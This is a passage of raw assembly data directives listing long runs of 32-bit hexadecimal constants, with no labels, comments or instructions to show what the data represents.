0B9490762h, 0BC505944h, 0B6B80692h, 88825EBFh dd 9FABA000h, 84C6100Bh, 632F00FBh, 94AC2883h, 0A474F895h dd 0ED409618h, 1709674Ah, 248A96Eh, 8CF884F1h, 54598C5Eh dd 439E1B0Bh, 80219E29h, 0D2104B18h, 2E9CE149h, 0D6F8C31h dd 5EE876DEh, 0E6270446h, 0F44BE810h, 0DD7B1C00h, 8F3D059h dd 0BE2E01BFh, 9B50525h, 595439E7h, 64F58EB8h, 0BA348C07h dd 0C000B86Ah, 0AAE6E020h, 0A104EF76h, 0ECE70BBAh, 61CC80E9h dd 0E8BE7359h, 91A4976Bh, 1FA08075h, 0F6D9824Ch, 0C48A4B39h dd 0D714B8E8h, 96E0F4A6h, 0E3790577h, 0AD30E418h, 0CD14C1h dd 3319823Fh, 0F8948129h, 5C6F48h, 0EF7C61D9h, 5E1FA55h dd 63BFC01Eh, 11904080h, 0E0488C4Dh, 0AC66F039h, 0EB001628h dd 0FDD1565Ah, 0FA5D0143h, 112CC2FBh, 0EA985430h, 0B505206Fh dd 8076A66Ah, 0E89D736h, 0D28DF104h, 0FC888774h, 3010412Bh dd 3872322Ch, 300EAA0Bh, 957CD807h, 20D9D889h, 81189EF1h dd 352C6500h, 69D34C25h, 178A24E7h, 9009415Ch, 63318C89h dd 1FA3C19Ch, 256446Bh, 38A21F86h, 8BF260C3h, 67D00300h dd 0F038976Fh, 0E73E300Dh, 0C48D7C66h, 0A5366092h, 0F0FD0227h dd 0FEBF1CD1h, 2C40955h, 53F4D55Ch, 9C807348h, 820296E4h dd 0B912DF17h, 4BB8843Eh, 0A00258BDh, 1F77949Bh, 989508D8h dd 15C31EE4h, 942B01E6h, 0A4FA29h, 0B0E14C8h, 4D3C8798h dd 80A13A9Fh, 7E749EEh, 2AC6AE1h, 25786541h, 0C87E723Eh dd 0D2B72E00h, 45D1229h, 0A794DBB0h, 5F40E05Ah, 7A280727h dd 8EE025C4h, 5494E8CEh, 0D38501D4h, 6EA9C6A1h, 8CF1F232h dd 0BDA8E02Dh, 13A0B086h, 20EA0973h, 5BDE0D50h, 0A000F0B1h dd 0B5594ACBh, 0DC379711h, 0DBE0FF02h, 0E4D04BABh, 9FE0B48Dh dd 0FC6DED8Ah, 58F16C10h, 923D0CBCh, 4B2CA8DDh, 22908AA6h dd 4C6D97B3h, 2FE32CC0h, 5B503B6h, 0D3771C9Ch, 8AA08909h dd 17AC7A1Fh, 12036DA5h, 0C848CB68h, 0F03FC774h, 570DC49Bh dd 0ED294300h, 0C0F20489h, 0F05DE379h, 236C2B2Ah, 1B5E1304h dd 25B84ABCh, 53984337h, 0B009A44Bh, 96D071D9h, 0C2889A86h dd 52046124h, 7B7804BCh, 0BC513629h, 404D2BCh, 41F65D3h dd 0AE9AE8FAh, 9623683Bh, 0D00E1B01h, 5C2F6B7Fh, 85BD228Ch dd 0FC40B4D4h, 771EAED9h, 0CE944EEBh, 0CE74C868h, 0E0A41EA3h dd 5F57390h, 0C729ED27h, 601F6440h, 12AF93Eh, 0BE80D536h dd 0D30CA9E4h, 6E3B1890h, 295DD0C7h, 9AA8C04h, 0FC519398h dd 701888F1h, 0ACD38202h, 0D9F99276h, 18767978h, 3E05E4B5h dd 4B1F7D62h, 70E8A782h, 0DA24B2D5h, 0F20B3AD8h, 8EB481BDh dd 2F6A2E8Dh, 0B9623FCh, 8C89ACA7h, 84D32490h, 180FECA8h dd 4A7C873Eh, 82F0FCE6h, 0D400E055h, 2F77A8D2h, 4AA0595Eh dd 0BD8E0D5h, 86BFBE09h, 1D1410AFh, 9D52259Fh, 0B4BE70C6h dd 8D4656h, 64FF04F0h, 11DA107h, 8FF20E8Ah, 2F4A9AEAh dd 1900207Ah, 6DA795C0h, 40950B47h, 5E3F21Ch, 9983BECh dd 8200FCEDh, 207CDF18h, 70833A8Ah, 902F909Eh, 48BA920h dd 715982ECh, 0DF98CE7Dh, 436B06E3h, 0D50540BCh, 815CE9E3h dd 764F2880h, 0F4F09C61h, 0D0869F00h, 0D1B61795h, 0B4E21C1Eh dd 0CB920508h, 0BCDCF96Dh, 5F030091h, 0D95A303Eh, 10E61E49h dd 737D5427h, 520D58ACh, 0DD9CD405h, 24B27782h, 1DB00808h dd 0E2BF1602h, 67054AEh, 91501889h, 8CD28D09h, 9588A2BEh dd 0EA144058h, 0E1A0325Bh, 0D888E698h, 111ED674h, 3A4F2C5Fh dd 82DB609Bh, 0E48630B9h, 0C8414C1Bh, 80E71A96h, 8E70707Bh dd 34F7AA2h, 0D350A325h, 202E881Fh, 0DF401808h, 2D46EF14h dd 1C9DFED1h, 4807911h, 0A51E0DB2h, 79088D25h, 20D32788h dd 0B07FD970h, 0F41422E4h, 0BBD55601h, 0A66C7327h, 3CB8BC69h dd 0EB2B2F04h, 0E4FD930Ch, 8AB9D501h, 845AF977h, 0DA3510D1h dd 8B9298B9h, 0C28EC8ECh, 960DB0Eh, 0BC13F546h, 0CCBC8ACBh dd 0ACF28D81h, 8579029Ch, 0A4B47B98h, 7D4F005Eh, 0BF1E7A86h dd 0B0BAB576h, 44A4305Ah, 9756F8B6h, 2B44B816h, 14FB1073h dd 0D31381B4h, 6000B8CCh, 9E09D463h, 20B730B6h, 8A8F3C34h dd 410B6916h, 0AEF15C21h, 0AC0B2E60h, 606A08D9h, 95074504h dd 0AD24B4h, 91621287h, 0C2A82C27h, 0A7EB231Eh, 0BE2AA182h dd 0A4805743h, 0BA287E2Eh, 0E209BB12h, 0FB3B4020h, 30E726F4h dd 79C830C6h, 4000DE1h, 44E9F0DAh, 72282DA1h, 80634E0Ch dd 8A3E8DE8h, 6E22A14h, 0FCDA1444h, 0DB890050h, 1D5A14F1h dd 0FEE5E8E1h, 8D740560h, 0B08F94EAh, 1F5BD070h, 8260FC97h dd 24308D79h, 2030D306h, 12288288h, 0C85DC058h, 0B5052F60h dd 9156C410h, 0C2EA0780h, 0F2FCCA91h, 0F1429C20h, 0B06802EEh dd 0A66ADF6Ch, 6F775C60h, 884E0BCh, 0ACB91D38h, 78873388h dd 97C27F19h, 4FC5ECAh, 40876C12h, 61B150EDh, 17C900F9h dd 94D61D3Eh, 0C2002786h, 0A5642855h, 9D1C9721h, 0B05F90E4h dd 18E0888h, 3BED7888h, 70A6F1B6h, 9A4003CCh, 4ED0F08Fh dd 0D3A4A083h, 0E3E46895h, 0C1E61230h, 0E86CBC05h, 56078C89h dd 0C0D4A538h, 7EAE3A72h, 3467610h, 883B6A01h, 0F2B8AED0h dd 0B89257h, 983C17E8h, 881D95F2h, 4B9F8C91h, 418072AFh dd 6168D9Dh, 0E4FCF403h, 2F0B3C38h, 5C17EF68h, 809C1C91h dd 0F11DFFF0h, 0C3250BB6h, 1C947125h, 1A3C0AE7h, 0AE140064h dd 88EB73C5h, 2F98809Dh, 0C53EBAA6h, 0A0ECC8D0h, 78901CC0h dd 5DD8C109h, 41F47682h, 0FEC438E5h, 89702D0Eh, 1FC86E3Eh dd 8F002843h, 0EF886A9Dh, 0BFBD1279h, 0D398BC0Dh, 6180FCE8h dd 8481F02Bh, 0B4918200h, 7DEF3241h, 0C0D20189h, 2730ACB0h dd 48722E6Dh, 56245C72h, 271AE758h, 0CA446803h, 0F1ED819Ch dd 0E109C278h, 8C6C1AA0h, 748C92F8h, 0A869030Dh, 0F9D2E053h dd 827CBC9Ch, 74A29F1Dh, 0CC442D0Ch, 23E35Ch, 0D69BEC0Ah dd 166F87A6h, 0F0FCD32Dh, 8FE0D924h, 0B0CF4B35h, 1BC0EC9Bh dd 0ED14B088h, 69567709h, 50A4822Ah, 0DB920111h, 0ACB03985h dd 0C19C0288h, 9B836C23h, 0FE761C61h, 11ACAC90h, 977E2586h dd 194170EFh, 0AC25E702h, 0FB8EAC68h, 0D3FC107Eh, 8F23F82Eh dd 28646800h, 12168C51h, 0BC3A6652h, 1A7AA26Ch, 496254CDh dd 1CAC4118h, 9F1E01D2h, 1F0868F6h, 202C8AB0h, 782F344h dd 1F3CE8B5h, 0DED405C3h, 84A40B3Ah, 0F090F67Fh, 0F9DC9Bh dd 0EABAE40Eh, 8DB94887h, 0CBCC41F5h, 0E9047D94h, 12B67EF8h dd 0AD8E1A9Fh, 0CD14C058h, 0B63A4B4h, 9C075D22h, 260CC058h dd 79FB61F7h, 48EE097Ah, 6085D5A0h, 808CAD31h, 0BFCC734Fh dd 3DA70085h, 0D2FEAC7Fh dd 9C130F63h, 0FCA85D88h, 0A784D48Eh, 0B12CD042h, 61C08663h dd 0C0B0DF0Ah, 7D5A3E74h, 954A3B8Eh, 0EA36F4C0h, 9EF6DAF7h dd 3300E09h, 4E0C274h, 0A8C078B4h, 27F440E3h, 871BF9Ah dd 0B7B22600h, 253206F7h, 0C073ADh, 8725F125h, 913C17BFh dd 0AAB0818Ah, 58701112h, 203A97DDh, 0D418D4h, 2C310867h dd 0E01CB6B2h, 74C9AC5Ah, 0AC1C752Bh, 8C90ACF4h, 5B0C8402h dd 7E81EE09h, 753F4210h, 13AA8E24h, 0B89CEDF0h, 26512632h dd 24F205E4h, 18C4D2B3h, 7B3C2057h, 2534ED29h, 4CC66B15h dd 0BDCB09Eh, 0C5DA8DD7h, 0CF207444h, 2DEAF85Dh, 20F9A50Ch dd 1B1896D9h, 4422FBh, 230543C3h, 83E959h, 46064B25h, 8DAB67E2h dd 2A2F04B8h, 0CB1CC068h, 4E0C98A8h, 0C0389A86h, 825AC68Ch dd 6C9F4887h, 5C622727h, 17E95856h, 809E11C4h, 0B4FDF644h dd 3C71C7h, 2EE1117Ah, 590CAAA1h, 1074F44Ch, 2472F2E8h dd 2DE8BE48h, 0F08764C2h, 60FB1911h, 0D91270h, 9A477505h dd 0FB1461A9h, 2BF744h, 8B7B2F5Bh, 5D910E89h, 51301117h dd 0D6FB4083h, 0D7D60029h, 43039584h, 0DFED3994h, 7FDECFD8h dd 0A8088325h, 414FF1Ch, 25044850h, 40687935h, 306C1C2Dh dd 4609C4Dh, 0AB60FD1Eh, 0AC7420AFh, 9A007E75h, 0CEEA0DFCh dd 58DAF9h, 33DC53CDh, 1C382C2h, 802CFB4Ch, 0E46DA4D7h dd 0F3BA005Bh, 0DDB55D29h, 0AB488D4Bh, 0A8415Ch, 896B5BB8h dd 0CCB2A44Eh, 0AF77DC02h, 0D548671h, 4DE92100h, 557BE540h dd 273EA81Bh, 185510F8h, 560198C2h, 607720BAh, 0A0E486D1h dd 2B27BF9h, 59884CD5h, 35DFEDB8h, 4A0D83E4h, 808F79D7h dd 49B8ECEh, 0E93CF600h, 3D7B7F64h, 0A7D3BFFh, 54D90F25h dd 7CD90905h, 0A7529081h, 44D4A000h, 751FBD01h, 0DAB53729h dd 2703F834h, 0B4D0D3D0h, 4B8C4697h, 0B00CF6ECh, 3B80773Ch dd 0BE84E5A5h, 8D769Fh, 973E414h, 3E7499EBh, 446B0808h dd 17295B0Eh, 79967422h, 188DF104h, 78D70205h, 557D9587h dd 456C9457h, 384861BBh, 86FCC410h, 0A85D6305h, 8C88F8B0h dd 0D0E56316h, 400328D2h, 5590B46h, 0BEBF1EE0h, 13E4A8AAh dd 7A00A3CBh, 6F0B567Ah, 32C903Bh, 0FA84C640h, 0F5A0CE10h dd 0E49506B8h, 0A0260130h, 100B97ABh, 102C2FE6h, 8E8C858Ch dd 0D0102948h, 403E1821h, 207049E9h, 7B101897h, 85B82F1Dh dd 7311E497h, 3D527D80h, 0F2007613h, 0CBBD05E6h, 951BD00Eh dd 0D30D8081h, 4AF468A0h, 8F21F0CAh, 0B071C0A1h, 0B200F318h dd 0BECD6C1Eh, 9062021h, 50D3737Bh, 8631D8A2h, 4F3C9457h dd 88A4CF0Eh, 8447C175h, 2910F05Bh, 733A6A07h, 70AD0CE3h dd 8F0737Eh, 213900A4h, 959DE8A8h, 929518ECh, 5EA05EE4h dd 443C8A46h, 0BDCE9A12h, 0E4BDD610h, 7A98E6A8h, 62AE320Fh dd 0C6BDC5D4h, 86CC0C81h, 7224887Ah, 0C38FBF00h, 76D2D6A6h dd 0F6A00347h, 0BC7850DDh, 866F36F0h, 1F61D405h, 88605EA3h dd 0A37CE556h, 0F97AE180h, 0AC704D0Bh, 0E9763E54h, 0B0291600h dd 9FA49578h, 27AC3E25h, 240810ACh, 0A7F60850h, 0D701E704h dd 23C43EEEh, 0A3FF008Bh, 4A874DC8h, 7AF32B34h, 0D42C3CB1h dd 0E0E8B6D7h, 2518E4D5h, 0C8711328h, 2B3FA14h, 481C59E5h dd 0B500C070h, 0F7ACA2D5h, 3A9037h, 0D4C10E1Fh, 22FB3662h dd 6C3A0BFCh, 716600C7h, 30E8F385h, 38B901B3h, 76CA9AA8h dd 0FC332ECFh, 0F48041E7h, 0DC9CCF2Fh, 94E20123h, 79836DE7h dd 0B42BD7CCh, 5B009C23h, 6101370Eh, 9FE0CDFh, 0D218590h dd 0BF86F117h, 8B23A83Bh, 0DD544300h, 24561F6h, 7574017Bh dd 30576444h, 2130E704h, 96092F84h, 0D9C45982h, 0E05A1878h dd 0F9302496h, 0F3CC080Ch, 5062BF89h, 227098DCh, 60952717h dd 25BF9C84h, 0DCC98316h, 0CC60091Ah, 14A72D0Ch, 95C024CDh dd 4B21A686h, 8258CCA0h, 88784Ah, 800AE638h, 5B87B79h dd 0B0ECBE50h, 120DB740h, 0BD100330h, 0CCA8D754h, 1A763A80h dd 0EF00C384h, 9F69A302h, 14B6C1CBh, 0AC6487DFh, 6DA58221h dd 610A40E0h, 0EE899402h, 0E0A8282Eh, 11A49F97h, 8501897Ch dd 64B11840h, 8078DB6Bh, 0B696D4FDh, 0D8CE09E5h, 9444F592h dd 600067ECh, 0E23D966Bh, 7588ECFh, 5556BB3Fh, 19A2E07Dh dd 13487388h, 0D8B2306Bh, 5CB672DBh, 88ECB86Fh, 2E200B8Ch dd 0D0F8BA41h, 727F9312h, 0A292DCE6h, 308FB228h, 2A00F66Bh dd 0AA3B1290h, 47398BAh, 8408E558h, 23740F05h, 0A9D78FBh dd 1D07FCD1h, 62FC3D88h, 0D40D19A4h, 1C444467h, 34305160h dd 6E0B74F4h, 0E3A71A39h, 5655CFD0h, 95E344B0h, 2E0208E4h dd 7A304691h, 2DC0DC48h, 0AD0FFC37h, 64FCE3ABh, 1CA9D0D4h dd 9466598Fh, 947D4051h, 6E00FFB8h, 3F82C3CBh, 270EA4DFh dd 0A8C24730h, 4676ECD6h, 29A8079Fh, 0AA707EE7h, 5CB4269h dd 0A7771CD7h, 73BC9398h, 0E13C8187h, 0A8127FFEh, 40786CE0h dd 183B03B9h, 348C0B7h, 6CD53EBAh, 0AC94EE72h, 8C89F844h dd 5122CE3Bh, 14DB7A98h, 2E601D80h, 0EB51879Dh, 0BC603890h dd 1C268C97h, 0D057C60h, 33AFF555h, 0DB818360h, 8FF88243h dd 75372DE2h, 9091541Dh, 88BEC29Ch, 17773EF9h, 8E9D91D4h dd 0F597A043h, 4C6BA21h, 5C08E690h, 0E2DCB80Ch, 50D8543Bh dd 563E95ECh, 48DA04D5h, 34E07FE6h, 0BF9E3D77h, 0A468A7A5h dd 0EF9F02D0h, 0A68540F0h, 5A04EF56h, 40076898h, 594438AEh dd 3084794Eh, 25C6BEEh, 0B132DBF9h, 5B944013h, 0F0C7BF7Bh dd 5C670264h, 0A06F9E2h, 856CE576h, 8EAE00A9h, 3E0DF4B8h dd 0DF5805ACh, 3D017622h, 0A9988552h, 882BE2C8h, 960FC74h dd 0BD6E1D59h, 1AA7009Ah, 0D515206h, 240185DEh, 0BF1C9E38h dd 0D27A974Ah, 0A449EE00h, 869AF31Eh, 91789CD7h, 19077154h dd 0EC61B820h, 8BE00ACEh, 2D28B80Ch, 9070A4DBh, 1B701AAh dd 8808CAB9h, 44C56E07h, 0AF9837AEh, 7B00D495h, 4052D114h dd 1E78DD0Ch, 0E1CBDF16h, 0EEF97900h, 2EBBD85Ah, 12C8AB75h dd 0E8B4C4B2h, 0D4C45040h, 2D639740h, 0DC72FBA4h, 36824220h dd 0A1087BC0h, 12528300h, 0DE170A05h, 8A6800F9h, 0BC3E03Eh dd 0A10082F4h, 974BF15h, 83948DEDh, 0F2D914F8h, 0A682F509h dd 9F60227h, 169844EEh, 0BDA79CD8h, 718F25B0h, 21BB10A0h dd 20DC2087h, 3CBEA966h, 44E8F217h, 0E73EA58Fh, 1900F8FAh dd 0BE584965h, 0C07B82DAh, 0DE8FF8C1h, 2AED9F9Eh, 0FD45DC0Bh dd 0E16FF80h, 0D32FF5C4h, 9848622Ch, 6B112C8h, 4B180ED0h dd 15126064h, 0ECF03CF3h, 0F1D30005h, 0B8167DE5h, 0D204E06Fh dd 17895511h, 6016B0F3h, 0C864BC88h, 82D4849Eh, 4798F48Ch dd 1F4C0F18h, 54D372D8h, 8A9488h, 5FD7CE04h, 0E4C31EE0h dd 8C20082Fh, 8868E090h, 0F27F04BFh, 470D3800h, 9464ED5Dh dd 0C5EC3209h, 98E6DA71h, 0ED00D5E0h, 47787065h, 0CBB739h dd 492B4569h, 0B6EB25AEh, 1780CE48h, 608064FBh, 5F9716DBh dd 12FC82C2h, 0CD0A785Eh, 223DD024h, 3CC4BD90h, 0BBD7904h dd 9240FCE1h, 0F66DDA8Fh, 886FD25Eh, 0EC0ED617h, 0C8AD4AB4h dd 0C67C0BB8h, 98D4EB00h, 6A901599h, 66D0201Fh, 0B559F800h dd 0ABC40C79h, 5DC83A33h, 732D303Bh, 0B45CEC8Bh, 0B107C69h dd 0C060AE3Ch, 0AC0AB513h, 0C0213E8Dh, 0F32BEF02h, 49074CCh dd 0A48F827Eh, 0C8C98A9Ch, 3030012Dh, 0A201699Bh, 0E1E8486Fh dd 0B4FE1E09h dd 0C1C07128h, 7A7282D5h, 8E072C46h, 0D49100E9h, 555F9543h dd 241A9D8Fh, 0FC9A53EDh, 0D45425B0h, 0AE0200F4h, 8F29D683h dd 71DD8D07h, 80E0DFCBh, 7D71BE6Fh, 0A2584B4Ch, 98970018h dd 0BFF536DFh, 0BB860F6Fh, 426020DBh, 0AD0F1760h, 0B044C097h dd 189297DEh, 0E4C8115Dh, 2D3EC4h, 9493D539h, 31CA01D4h dd 901C5A01h, 774B6DF6h, 5810E4F8h, 0BD96AC3Ch, 9A2AC20h dd 18EB7337h, 20DF027h, 5C7E464Fh, 0B118E176h, 41247F74h dd 4808A4E9h, 1ECA009Ch, 9693E4BAh, 1D08BB6Fh, 19C9F02Ah dd 0DCCCFE4Bh, 81FE1977h, 16DE0A04h, 40C150E3h, 82049FDCh dd 1160FD20h, 6CB90190h, 0C4938A09h, 5178699Ch, 3270B0FBh dd 1258986Ch, 0F128E0E6h, 0AC3B2B5Ch, 32008C23h, 2A21653Ah dd 88CE9599h, 78B5B7h, 7CD0A689h, 6900986Fh, 28DA4EFDh dd 977EFD4h, 64115B1Bh, 0F18DE081h, 0B8CA6BBEh, 0EF71D730h dd 94133C46h, 0FCA1AEB6h, 0D128282Eh, 7B7C9CA9h, 27D106Bh dd 2902F0F4h, 4602C30h, 0A90DC914h, 60587284h, 0E702D42Dh dd 8BCCDA8Dh, 3CBCDB04h, 14A435A3h, 0BDC01304h, 666B38D1h dd 18E75800h, 792F9C2Dh, 0F0D12D5Ch, 0C8199679h, 704A8273h dd 9D7CE0E8h, 781264E6h, 40F0118Dh, 1E7F09E6h, 545C65E0h dd 72DDA11h, 9D8BACA0h, 24093FB7h, 0F174FBh, 97A85697h dd 0E4D025DEh, 0A60B10E4h, 0A2956777h, 0D7035314h, 0DE700890h dd 0E8D75A1Dh, 28977281h, 0CFE4A285h, 471EE0Dh, 481C4C8Eh dd 3B4F2BEh, 9DC31D7h, 0ECFFF892h, 16B5F95h, 13E358FCh dd 0C4C1FA72h, 0DC5CC0D2h, 0A0594B13h, 8588E400h, 4FBF1D7Bh dd 9FA4C722h, 6E525400h, 0B201473Dh, 2414A864h, 67F1794Ch dd 0B7C482F2h, 0E0405448h, 0FE972EE0h, 0E7180C2Dh, 6703E4FCh dd 4A6C6FB0h, 17432849h, 4F4B2DDh, 2052771Dh, 686FBAFDh dd 0E36CA812h, 0D0F64B9Ch, 8A919CE0h, 0C403F125h, 0D0D395A0h dd 0F0233A78h, 4E31073h, 0F6FA0784h, 1C02E5F8h, 0D9B8592Ah dd 1697188Fh, 21B751Eh, 817E24E8h, 9CEE78E0h, 0C204C58Bh dd 60E98002h, 4AF0E9D3h, 44186CC0h, 91E08B02h, 28018DD3h dd 9EF73EA0h, 55FAA303h, 2F03D0B7h, 0C70D2578h, 0EC5251E5h dd 43E3FCB6h, 4F1320FFh, 1821AB70h, 74D20417h, 0DAFB00B3h dd 2F709150h, 448D055h, 0B2748611h, 18FCBE4Ah, 43DE8F0Bh dd 501EC061h, 0F65E2EACh, 8D960402h, 0C4F10D6Fh, 5844B7A0h dd 28C15Ch, 77F52213h, 0F642772h, 2B8FEE9Bh, 0E48F588Eh dd 4465406Bh, 1C6074E4h, 0B80021CBh, 0FC9E1916h, 40800717h dd 3F0E3B93h, 5095B81h, 60E0AA77h, 8A4A0690h, 298C0848h dd 8507A807h, 8281A258h, 846B3FC8h, 4D2CAD54h, 3AF5BD50h dd 5D431D8h, 48F98DEh, 6A2C820Eh, 89091065h, 46A84813h dd 74DA1F17h, 0AC5C5209h, 0D8A6B5ECh, 5EEE9DE0h, 2E5BCF16h dd 565BD4F8h, 11448E8h, 0CA12A18Dh, 0F9B891B9h, 0D1F36080h dd 7C419384h, 2063682Dh, 642842C4h, 0B534FA8Bh, 5E9048C5h dd 0A3CA59B0h, 7A7FF409h, 64187176h, 331D2CE6h, 482844A0h dd 0B8182140h, 4877A331h, 5CD297AAh, 8D936118h, 86E2Fh dd 0D556024Fh, 385F7D41h, 0B7167740h, 0F1CF90E7h, 6BDF2A82h dd 0C949AC96h, 0DCE65FA8h, 93C2C1E0h, 0ED0414FEh, 0F4797DF3h dd 23586BABh, 0D29E0288h, 785EED09h, 3E8C64A7h, 0AB80CB47h dd 0B599A10Dh, 0C4006488h, 13BF3653h, 0F0976EEBh, 3082F7Ah dd 98F66CC2h, 6CC500DCh, 36477F9h, 7004D09Eh, 4C38E553h dd 0BF7842EEh, 245CA9E6h, 0FA7182E2h, 74708C4h, 0DA07F4BCh dd 0D0CD6FF6h, 0D908C02Ah, 1B778ABFh, 45A179C7h, 4674985Ah dd 2FB6008Eh, 0F42254F1h, 0A7EF4AA3h, 0ACEC5CD0h, 50588C04h dd 86B0126Ch, 58C510B9h, 4DB8B407h, 4EBD3800h, 9FA54611h dd 0AA940043h, 0F391D69Bh, 870456C5h, 747CC904h, 0AA2034AEh dd 0FF89E4DBh, 39559D00h, 0AE156A3Dh, 80B85CCBh, 0B8D2E1BEh dd 18DA64EDh, 0FA614464h, 0BF9420EFh, 3A979B2Ah, 0DC485450h dd 16273A04h, 0D0846670h, 0BA04CC8h, 0B507D6FBh, 0E64BE478h dd 0B4B97884h, 4EA5FCE9h, 65C93A00h, 81BBABD4h, 0C6AC3BBDh dd 0B44A33C8h, 6F00AE9Ch, 51482956h, 4A43687h, 7A72D7D8h dd 8474AE2Bh, 0BC6ABBh, 45BF31EFh, 12B2619Ah, 0FF535FCh dd 3F301284h, 0D99725EDh, 181F791Ch, 0EB61070Ah, 504E9015h dd 8984950Ch, 2F7C3A00h, 1C87F1D1h, 4303065Fh, 99820718h dd 0A2F0D700h, 909D444Ah, 90C495E2h, 28B4909Dh, 127EEC6Ch dd 210660C6h, 0BC758104h, 71B52D21h, 0EF568188h, 3129AB46h dd 40203BB4h, 36A3625h, 0B2ED2FA3h, 0AE00628Bh, 0BCC72E96h dd 0B1EC09C2h, 60782FECh, 4E97FB72h, 48159768h, 0E00C6BFh dd 0B979136Dh, 0B8A09894h, 0ECBC9EB6h, 45CD14E0h, 0C203F43h dd 8080DB29h, 0ED122EF8h, 209F0689h, 66163008h, 6DF212BAh dd 519C4043h, 4874D857h, 0F50B04Ch, 509DAB5h, 0E0B18986h dd 0DC9F5FE2h, 0A9809D91h, 47594449h, 5CDC6901h, 74C08E7h dd 47D4702Eh, 0A4BC81Fh, 5934B48Eh, 0E090E6D9h, 2A448F6h dd 0D28D9A9Ch, 0D019B4Ch, 42ABF30h, 0FE8F86CCh, 0F6DB1420h dd 220B0079h, 217BED50h, 5B3B2D1Bh, 7160A508h, 34D10140h dd 0F86A3250h, 0D0B8DBA0h, 9E43717h, 0F9E3ACF0h, 0AA602060h dd 110CB7D8h, 0EE2A857Bh, 0E605BCACh, 0AE02B810h, 6EFE7C74h dd 53750200h, 0DD23D08Dh, 0E3F31480h, 0B89D9418h, 2DD373B0h dd 0A0738768h, 1CEB0ABEh, 6742AC89h, 981C574Dh, 18E3E84Eh dd 953073E2h, 656600DFh, 0CB327911h, 0E05D219h, 617F7718h dd 0FABCD0FDh, 9614C09h, 7414909Ah, 0FB14886Fh, 29EAF20Bh dd 91989D7Bh, 0D5448502h, 0D01B81FFh, 779CD841h, 0F2A50B2Dh dd 0DE1E126Ch, 82E8E228h, 5D1D4DFBh, 408694A4h, 0E481D6FAh dd 2D77E044h, 80D296FBh, 0C28A8877h, 3D2400A4h, 5A8F0738h dd 28489095h, 71957D5Fh, 189CF9C0h, 2227090Bh, 7807DF37h dd 7D162278h, 7491EC9Dh, 11801A8Fh, 72CB495Ah, 8FB5C301h dd 4EF3D00Ch, 3FEB2501h, 0F8DB684Ch, 0FEF12506h, 8978ECF3h dd 40FB0174h, 165AE501h, 7C3A3BB8h, 33009F23h, 0CFB136DDh dd 464D0084h, 0E31E66CDh, 0AA0B3EBFh, 7AB8658Bh, 0CFD202FCh dd 5D947B88h, 0CD5CD885h, 59D10644h, 0D47638h, 4AE24F3Ch dd 0E4273BA8h, 70A0D461h, 7D8C1CE8h, 21843AAEh, 0EB1B0881h dd 1062D00Dh, 7D2FAB4h, 236C47CBh, 0B6055078h, 0AC13CDA3h dd 0C82EFD0h, 403CC159h, 0E248E32Bh, 0A247308Ch, 0D0B9A41Fh dd 6FEF580Fh, 9A3AA302h, 0E410D882h, 369F271Eh, 8E324E0h dd 0EC943D2Ch, 91018426h, 85CB924Dh, 23E82E3Bh, 0B4720B7Bh dd 3B51745Ch, 8DF2D073h, 1CD53F30h, 9612F2FDh, 4B70B8EFh dd 0CCACD0EDh, 178D0300h, 33BD79CBh, 6E025A7Bh, 0EEF10074h dd 58629CCBh, 30172D6Dh, 1C087850h, 12B59EA7h, 0D2BCF88Fh dd 1C8148Bh, 1FBC21C0h, 0F658C468h, 38E70184h, 7089140Ch dd 0B4E13EFCh, 0A432D0h, 0E4E004B3h, 12986E99h, 0F6ED148Dh dd 0F428B0C0h, 0EA8F0B7Dh, 4C890378h, 1F14375Fh, 718000E7h dd 78E6F17Bh, 434A1D74h, 0A498C4E8h, 2E000969h, 0A7067CDFh dd 28890D7h, 56DAB241h, 9C7453E5h, 48786D69h, 0D3F504DBh dd 0E6F8E06Ch, 28563FF3h, 0D022B4A8h, 5C737725h, 0DB109608h dd 1B25805Ch, 25F3F53Dh dd 0D473A28Ch, 70385BA7h, 1104525Fh, 4ADF300Eh, 6CA446BBh dd 281761A1h, 0D4F96F8Bh, 827D3AE8h, 0DC2C9F2Eh, 7864808h dd 0EB8FA4CBh, 7A92D854h, 9ED432AFh, 235CE521h, 588C812Eh dd 68F901F2h, 0E18C5420h, 9ED4EB00h, 0C8E4735Ah, 0FAFB4046h dd 0F3CC20B5h, 31DB47h, 6FC7CFD4h, 40C0E5Eh, 48371305h dd 0E4E99E03h, 2BD8B05Ah, 8534EB2Dh, 31AE3C60h, 8A916D4h dd 0F2BF101Eh, 0D7BC090h, 4B78B30Fh, 46CE87Eh, 1F8430E6h dd 1D00E8FDh, 282DA2A5h, 0C909FAFBh, 49FC54E4h, 4E3079F8h dd 7312416h, 2A89410Ch, 20647CD9h, 0F0E84AF5h, 80EFFB0Ch dd 9CEACC39h, 698621h, 0B058B90h, 4464081Eh, 0B434034Eh dd 15109C05h, 7BE021AEh, 1080FA81h, 0F178076Fh, 87BDB1C2h dd 2CA457AFh, 0E21C419Fh, 982C1B06h, 1E3315C0h, 496FA8Fh dd 0B1046106h, 0A2725A31h, 0F4E60024h, 19A0E24Ah, 0C25A24DDh dd 16070E84h, 0ABB37A01h, 7B53C10Ch, 5F5B8C00h, 9504F417h dd 5A4540ECh, 0A514086Eh, 87380505h, 0FE27D0E8h, 7E0E7C44h dd 0E0A37090h, 5EE7AD43h, 0B40C06E9h, 49F3FC76h, 7E97BB0Fh dd 0F7C58106h, 9C70E77Dh, 48834908h, 0C17FD018h, 2EFED99Ah dd 0AA16FC0Eh, 3A1C2010h, 278354BCh, 0E810F621h, 22C00D3Fh dd 1917F45h, 25E201B6h, 5D6181F2h, 30CC6B07h, 0F30240F9h dd 97ECDB12h, 631004E9h, 3DBC5044h, 0FFA50200h, 2E8792C7h dd 0A0A297A4h, 2C011B40h, 8C4967CDh, 0F4119EDDh, 502F7AFCh dd 2B007623h, 0DE1230DFh, 0EFBC043Eh, 0D318D30Dh, 0FCB1AD74h dd 0C7C9A5D5h, 609244B0h, 0F0C2784Eh, 0D08C0D95h, 6EF05D9Fh dd 68AE7812h, 0E616BD98h, 0C4A67D48h, 73B6C0B0h, 0F028DB24h dd 0F81B8F84h, 0C47AAFh, 6815AA9h, 0FB9805Ch, 309CD983h dd 7DC17A2h, 856C710Bh, 0B4641F67h, 0A2278F44h, 0F48056ADh dd 0FB2E0D09h, 0D49557E8h, 6BAEED93h, 28110138h, 0C42DCAB6h dd 0BE6E9C0h, 92E3808h, 0D78BCD3h, 73FF01BBh, 0D650A53Dh dd 2C282FE7h, 0D4028A35h, 4C579A64h, 0D91307F8h, 0B0503519h dd 4FB708E3h, 6CE6095Bh, 466D53F7h, 0F1155B90h, 0CD8BBE00h dd 